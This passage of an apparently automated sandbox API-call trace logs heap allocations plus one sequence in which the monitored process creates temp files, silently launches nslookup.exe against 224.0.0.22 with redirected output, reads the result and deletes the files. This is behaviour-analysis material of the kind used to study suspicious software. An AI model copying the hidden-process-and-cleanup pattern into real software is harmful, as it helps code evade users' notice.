[0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c78) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3d8) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c30) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3c8) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39be8) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3b8) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ba0) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3a8) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b58) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d398) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b10) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d388) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ac8) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d378) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ffc0) returned 1 [0054.184] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d660 [0054.184] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d378 [0054.184] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ac8 [0054.184] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d388 [0054.184] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b10 [0054.184] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d398 [0054.184] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b58 [0054.184] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3a8 [0054.184] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ba0 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39840) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39960) returned 1 [0054.185] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d368) returned 1 [0054.185] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0054.185] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d358) returned 1 [0054.185] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d648) returned 1 [0054.185] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0054.185] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0054.185] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0054.185] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0054.185] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0054.185] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0054.185] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0054.185] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0054.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c39d50, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0054.185] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0054.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c39d50, cbMultiByte=10, lpWideCharStr=0x1d3ebf8, cchWideChar=10 | out: lpWideCharStr="224.0.0.22") returned 10 [0054.185] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0054.185] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0054.185] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0054.185] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0054.185] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0054.185] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0054.186] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0054.186] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0054.186] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0054.186] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0054.187] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0054.187] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0054.187] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0054.188] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0054.188] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0054.188] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="CF", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\CFC2F6.tmp" (normalized: "c:\\windows\\temp\\cfc2f6.tmp")) returned 0xc2f6 [0054.188] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0054.188] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c344f8 [0054.188] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\CFC2F6.tmp", lpszShortPath=0x1c344f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\CFC2F6.tmp") returned 0x1a [0054.189] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0054.189] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0054.189] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0054.189] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0054.189] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0054.189] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0054.190] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0054.190] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0054.190] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0054.190] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0054.190] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0054.190] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0054.191] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0054.191] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0054.191] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0054.192] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0054.192] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0054.192] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="zy", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\zyC2F7.tmp" (normalized: "c:\\windows\\temp\\zyc2f7.tmp")) returned 0xc2f7 [0054.193] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0054.193] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c34900 [0054.193] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\zyC2F7.tmp", lpszShortPath=0x1c34900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\zyC2F7.tmp") returned 0x1a [0054.193] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0054.193] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0054.193] CreateFileW (lpFileName="C:\\Windows\\TEMP\\CFC2F6.tmp" (normalized: "c:\\windows\\temp\\cfc2f6.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0054.193] CreateFileW (lpFileName="C:\\Windows\\TEMP\\zyC2F7.tmp" (normalized: "c:\\windows\\temp\\zyc2f7.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0054.193] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.22", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x138, hStdError=0x13c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.22", lpProcessInformation=0x18f9b8*(hProcess=0x144, hThread=0x140, dwProcessId=0xa0c, dwThreadId=0xa1c)) returned 1 [0054.213] NtClose (Handle=0x140) returned 0x0 [0054.213] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xea60) returned 0x0 [0056.079] NtClose (Handle=0x138) returned 0x0 [0056.080] NtClose (Handle=0x13c) returned 0x0 [0056.080] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0056.081] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\CFC2F6.tmp" (normalized: "c:\\windows\\temp\\cfc2f6.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a410f90, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6a410f90, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6b5eb490, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x5d)) returned 1 [0056.081] CreateFileW (lpFileName="C:\\Windows\\TEMP\\CFC2F6.tmp" (normalized: "c:\\windows\\temp\\cfc2f6.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0056.082] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0056.082] GetFileSize (in: hFile=0x13c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x5d [0056.082] SetFilePointer (in: hFile=0x13c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0056.082] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0056.082] ReadFile (in: hFile=0x13c, lpBuffer=0x1d3ebf8, nNumberOfBytesToRead=0x5d, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x1d3ebf8*, lpNumberOfBytesRead=0x18f974*=0x5d, lpOverlapped=0x0) returned 1 [0056.082] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ec80 [0056.082] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0056.082] NtClose (Handle=0x13c) returned 0x0 [0056.082] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\CFC2F6.tmp" (normalized: "c:\\windows\\temp\\cfc2f6.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a410f90, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6a410f90, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6b5eb490, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x5d)) returned 1 [0056.082] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\CFC2F6.tmp", dwFileAttributes=0x80) returned 1 [0056.083] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\CFC2F6.tmp" (normalized: "c:\\windows\\temp\\cfc2f6.tmp")) returned 1 [0056.083] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\zyC2F7.tmp" (normalized: "c:\\windows\\temp\\zyc2f7.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a410f90, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6a410f90, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6a410f90, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.084] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\zyC2F7.tmp", dwFileAttributes=0x80) returned 1 [0056.084] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\zyC2F7.tmp" (normalized: "c:\\windows\\temp\\zyc2f7.tmp")) returned 1 [0056.084] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0056.084] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ec80) returned 1 [0056.084] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0056.084] NtClose (Handle=0x144) returned 0x0 [0056.084] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c34900) returned 1 [0056.084] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c344f8) returned 1 [0056.085] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0056.085] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0056.085] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0056.085] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0056.085] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d648 [0056.085] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d358 [0056.085] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39960 [0056.085] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0056.085] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0056.085] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d368 [0056.085] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39840 [0056.085] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0056.085] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0056.085] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0056.085] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0056.086] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39be8 [0056.086] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3ffc0 [0056.086] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d648) returned 1 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3b8 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c30 [0056.086] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3c8 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c78 [0056.086] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3d8 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3bc08 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d478 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39a38 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d488 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39a80 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d5a8 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d08 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d578 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39e28 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d318 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39888 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d328 [0056.086] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0056.086] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39960) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d358) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39840) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d368) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39be8) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c30) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3b8) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c78) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3c8) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3d8) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ffc0) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ac8) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d378) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b10) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d388) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b58) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d398) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ba0) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3a8) returned 1 [0056.087] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d660) returned 1 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3ffc0 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3a8 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ba0 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d398 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b58 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d388 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b10 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d378 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ac8 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3d8 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0056.087] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3c8 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c78 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3b8 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c30 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39a38) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d478) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39a80) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d488) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d08) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5a8) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39e28) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d578) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39888) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d318) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d328) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bc08) returned 1 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0056.088] RtlFreeHeap 